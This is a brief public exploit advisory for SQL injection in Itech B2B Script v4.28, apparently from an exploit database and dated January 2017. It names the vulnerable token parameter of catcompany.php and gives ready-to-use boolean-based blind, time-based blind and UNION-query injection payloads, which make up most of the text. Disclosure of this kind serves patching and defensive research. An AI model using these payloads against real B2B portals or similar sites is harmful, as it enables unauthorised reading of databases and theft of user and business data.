Exploit Title: Itech B2B Script v4.28 a SQL Injection Date: 30.01.2017 Vendor Homepage: http://itechscripts.com/ Software Link: http://itechscripts.com/b2b-script/ Exploit Author: Kaan KAMIS Contact: iletisim[at]k2an[dot]com Website: http://k2an.com Category: Web Application Exploits Overview B2B Script v4.28 is a versatile web solution for the webmasters who are willing to launch their own B2B Portal within a few minutes. Type of vulnerability: An SQL Injection vulnerability in Itech B2B Script v4.28 allows attackers to read arbitrary data from the database. Vulnerability: URL : catcompany.php?token=704667c6a1e7ce56d3d6fa748ab6d9af3fd7[payload] Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://localhost/catcompany.php?token=704667c6a1e7ce56d3d6fa748ab6d9af3fd7' AND 6539=6539 AND 'Fakj'='Fakj Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: http://localhost/catcompany.php?token=704667c6a1e7ce56d3d6fa748ab6d9af3fd7' OR SLEEP(5) AND 'aEyV'='aEyV Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: http://localhost/catcompany.php?token=-4421' UNION ALL SELECT NULL,CONCAT(0x71627a7071,0x596a5174756f74736847615667486444426f697a5549434943697a697064466865494a7156794770,0x716b707a71),NULL,NULL,NULL,NULL-- JwUA ---